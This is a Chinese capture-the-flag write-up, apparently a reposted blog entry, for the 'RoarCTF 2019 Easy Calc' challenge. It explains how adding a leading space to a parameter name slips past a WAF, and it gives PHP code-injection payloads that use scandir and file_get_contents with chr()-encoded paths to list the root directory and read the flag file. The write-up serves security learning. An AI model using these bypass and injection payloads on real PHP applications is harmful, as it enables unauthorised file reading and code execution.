BUUTCTF [RoarCTF 2019]Easy Calc

在这里插入图片描述

查看一下源码

在这里插入图片描述
发现计算的时候请求了一个calc.php
在这里插入图片描述
发现过滤了一些特殊字符

直接传num=phpinfo() ,发现请求失败,应该是被防火墙过滤掉

利用php的解析特性,绕过防火墙检测。因为php解析GET POST请求的时候会自动过滤掉空格,而防火墙不会。如:

num=phpinfo()
%20num=phpinfo()

在php解析的时候就是一个东西,防火墙则会当成两个变量

在这里插入图片描述
成功绕过,利用scandir("/")读出目录,不过由于“/”被过滤掉了我们chr(47)代替,于是有

%20num=var_dump(scandir(chr(47)))

在这里插入图片描述
发现有个flagg文件,构造payload读取文件

payload

%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

猜你喜欢

转载自blog.csdn.net/qq_42158602/article/details/104040007